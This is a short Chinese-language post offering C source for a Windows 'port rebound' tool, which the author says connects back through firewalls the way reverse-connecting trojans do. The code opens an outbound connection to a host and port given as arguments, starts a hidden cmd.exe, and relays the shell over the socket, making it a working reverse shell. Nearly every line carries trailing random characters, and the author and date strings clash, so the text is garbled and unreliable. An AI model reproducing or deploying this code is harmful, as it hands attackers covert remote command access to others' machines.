Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 j9Qd 45  
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/* ============================== U9w0kcUw#J  
Rebound port in Windows NT #r5IwyL  
By wind,2006/7 (gW#T\Eln  
===============================*/ t~vOm   
#include ,U`:IP/L  
#include ^h wF=  
=' %r"_`}  
#pragma comment(lib,"wsock32.lib") \j C[|LM&  
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void OutputShell(); fny|^F]w  
SOCKET sClient; %f[0&)1!.v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]b5E

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void main(int argc,char **argv) Pwc)u&  
{ GD(gm,,)  
WSADATA stWsaData; F)fCj^zL  
int nRet; _:dt8+T#  
SOCKADDR_IN stSaiClient,stSaiServer; =Q
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if(argc != 3) q8DSKi  
{ %3p~5jhm1  
printf("Useage:\n\rRebound DestIP DestPort\n"); } @r|o:I  
return; 117`=9F  
} *xHj*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4pU|BL\j  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ng,64(wOY  
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stSaiClient.sin_family = AF_INET; W`^euBr7R>  
stSaiClient.sin_port = htons(0); ad <z+a  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w4:|Z@I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ltk'`  
{ !+bLhW`  
printf("Bind Socket Failed!\n"); m.:2G  
return; 96a2G,c>V  
} {?X#E12vf  
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stSaiServer.sin_family = AF_INET; Z]L_{=*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R1,.H92  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k&JB,d-mJ%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gc5u@(P"  
{ ;Gf,I1d}{  
printf("Connect Error!"); o`tOnwt
  
return; I`e$U  
} .>X0 $#  
OutputShell(); +-%&,>R  
} 
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void OutputShell() u/s,#  
{ /-C`*P=:u  
char szBuff[1024]; RC[mpR;2  
SECURITY_ATTRIBUTES stSecurityAttributes; W#|30RU.G  
OSVERSIONINFO stOsversionInfo; .( )rby  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "pZvV0'  
STARTUPINFO stStartupInfo; %R|_o<(#MJ  
char *szShell; L>trLD1pt  
PROCESS_INFORMATION stProcessInformation; x6n
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unsigned long lBytesRead; a,$v;s/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Pn?,56SD=  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OEZ`5"j  
stSecurityAttributes.lpSecurityDescriptor = 0; 3y#U|&]{  
stSecurityAttributes.bInheritHandle = TRUE; <R;t>~8x  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vk:k~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YGdzA]3>  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n0\k(@+k  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rofGD9f   
stStartupInfo.wShowWindow = SW_HIDE; $Gy&  
stStartupInfo.hStdInput = hReadPipe; kzkrvC+u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Sa8KCWgWh  
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GetVersionEx(&stOsversionInfo); 7%MD0qm-  
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switch(stOsversionInfo.dwPlatformId) )2pOCAjL2  
{ k vuSE  
case 1: pqT+lai)#  
szShell = "command.com"; >$/<~j]  
break; ce&Q}_  
default: !^Ly#$-X  
szShell = "cmd.exe"; 6@rebe!&=  
break; V/t/uNm  
} y^u9Ttf{  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l* ap$1'  
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send(sClient,szMsg,77,0); 8*bEsc|  
while(1) x$SxGc~4gb  
{ <<SUIY@X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vC [uEx:  
if(lBytesRead) w7#9t  
{ ,P>xpfdK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xj!G9x<!  
send(sClient,szBuff,lBytesRead,0); 1(YEOZ  
} hvFXYq_[O  
else ?'8('
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{ 0[ BPmO6  
lBytesRead=recv(sClient,szBuff,1024,0); #/,WgsAC  
if(lBytesRead<=0) break; RE<s$B$[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kq4ii`zi8  
} 8mc0(Z@  
} id?B<OM  
h>a/3a$g  
return; ~+)sL1lx  
}